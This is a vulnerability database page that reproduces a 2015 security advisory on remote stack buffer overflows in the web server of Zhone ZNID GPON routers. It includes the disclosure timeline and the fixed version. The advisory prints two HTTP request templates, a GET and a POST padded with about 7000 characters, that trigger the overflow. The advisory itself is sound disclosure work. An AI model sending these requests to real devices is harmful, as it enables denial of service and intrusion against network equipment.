Lucene search
K

ZHONE Remote Code Execution

🗓️ 12 Oct 2015 00:00:00Reported by Lyon YangType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 40 Views

ZHONE RGW vulnerable to stack-based buffer overflow attacks via HTTP GET and POST requests, fix with upgrade to S3.1.24

Code
`Vantage Point Security Advisory 2015-003  
========================================  
  
Title: Multiple Remote Code Execution found in ZHONE  
Vendor: Zhone  
Vendor URL: http://www.zhone.com  
Device Model: ZHONE ZNID GPON 2426A  
(24xx, 24xxA, 42xx, 42xxA, 26xx, and 28xx series models)  
Versions affected: < S3.0.501  
Severity: High  
Vendor notified: Yes  
Reported:   
Public release:   
Author: Lyon Yang <lyon[at]vantagepoint[dot]sg> <lyon.yang.s[at]gmail[dot]com>  
  
Summary:  
--------  
  
ZHONE RGW is vulnerable to stack-based buffer overflow attacks due to the use of unsafe string functions without sufficient input validation in the httpd binary. Two exploitable conditions were discovered when requesting a large (7000) character filename ending in .cgi, .tst, .html, .cmd, .conf, .txt and .wl, in GET or POST requests. Vantage Point has developed working code execution exploits for these issues.  
  
  
1. Stack Overflow via HTTP GET Request  
---------------------------------------------------------------------------------------  
  
GET /.cmd?AAAA ..AAAA<7000 Characters> HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.1.1/zhnvlanadd.html  
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)  
Connection: keep-alive  
  
2. Stack Overflow via HTTP POST Request  
---------------------------------------------------------------------------------------  
  
POST /.cgi HTTP/1.1  
Host: 192.168.1.1  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.1.1/updatesettings.html  
Authorization: Basic (Base 64 Encoded:<USER:PASSWORD>)  
Content-Length: 88438  
  
AAAA ..AAAA<7000 Characters>  
  
  
Fix Information:  
----------------  
  
Upgrade to version S3.1.241  
  
  
Timeline:  
---------  
2015/04: Issues reported to Zhone  
2015/06: Requested Update  
2015/08: Requested Update  
2015/09: Requested Update  
2015/10: Confirm that all issues has been fixed  
  
  
About Vantage Point Security:  
--------------------  
  
Vantage Point is the leading provider for penetration testing and security advisory services in Singapore. Clients in the Financial, Banking and Telecommunications industries select Vantage Point Security based on technical competency and a proven track record to deliver significant and measurable improvements in their security posture.  
  
https://www.vantagepoint.sg/  
office[at]vantagepoint[dot]sg  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Oct 2015 00:00Current
7.4High risk
Vulners AI Score7.4
40